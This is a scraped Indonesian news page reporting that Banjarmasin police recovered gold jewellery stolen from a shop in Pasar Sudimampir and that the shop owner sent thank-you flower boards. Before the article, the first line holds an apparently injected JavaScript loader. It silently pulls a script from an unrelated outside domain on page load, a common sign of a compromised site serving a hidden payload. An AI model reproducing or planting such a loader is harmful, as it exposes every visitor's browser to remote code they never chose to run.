(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Markas Polresta Banjarmasin di jalan Ahmad Yani kilometer 4 Kota Banjarmasin mendapat karangan bunga, Sabtu (20/5/2023) sore
Sebanyak tujuh buah karangan bunga bertuliskan ucapan terima kasih kepada Kapolresta Kombes Pol Sabana dan Macan Resta berjejer di depan pintu masuk Mapolres Kota Banjarmasin.
Entah pihak mana yang mengirim karangan bunga, namun dari tulisan yang tertera, karangan bunga tersebut diperkirakan berasal dari pemilik Toko Emas Ratna di jalan Sudimampir No 66D, Banjarmasin, yang beberapa hari lalu dibobol dua pencuri, berhasil diungkap tim Polresta Banjarmasin bersama Polda Kalsel.
“Terima kasih kepada bapak Kapolresta Banjarmasin, Tim Macan Resta Banjarmasin beserta jajaran atas pengungkapan kasus pembobolan toko emas di Pasar Sudimampir,” tertulis pada tujuh buah karangan bunga itu.
Baca juga: Berkat Electrifying Agriculture PLN, Masyarakat Korban PHK Bangkit Jadi Petani Sukses
Sebelumnya pada Selasa (16/5/2023) pagi, pemilik Toko Emas Ratna melaporkan kehilangan sejumlah perhiasan emas di tokonya yang berada di kawasan Pasar Sudimampir.
Kemudian setelah dilakukan penyelidikan, polisi berhasil membekuk dua orang pelaku pencurian di kawasan Nusa Indah, Kecamatan Batibati, Kabupaten Tanah Laut pada Kamis (18/5/2023) sekitar pukul 04.00 Wita.
Selain menangkap pelaku, polisi juga mengamankan perhiasan emas curian berupa 37 gelang emas, 25 kalung emas, dan sepasang anting emas dengan berat keseluruhan hampir dua kilogram.
Barang bukti tersebut didapatkan polisi dikubur di bawah rumah salah satu pelaku di jalan Belitung Darat, gang Simpang Pilot, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
“Barang bukti perhiasan hasil curian dimasukan ke dalam termos lalu dikubur di bawah rumah salah seorang pelaku berinisial R,” kata Kasat Reskrim Polresta Banjarmasin Kompol Thomas.
Baca juga: Jaga Kedamaian Bersama, Wali Kota Aditya: Jangan Mudah Diprovokasi Isu Sara
Kedua pelaku juga sempat dihadiahi timah panas di kaki oleh polisi karena melawan ketika hendak diamankan.
Atas perbuatannya, keduanya diancam dengan Pasal 363 Ayat (1) KUHP tentang pencurian dengan pemberatan dengan ancaman hukum maksimal 7 tahun penjara. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.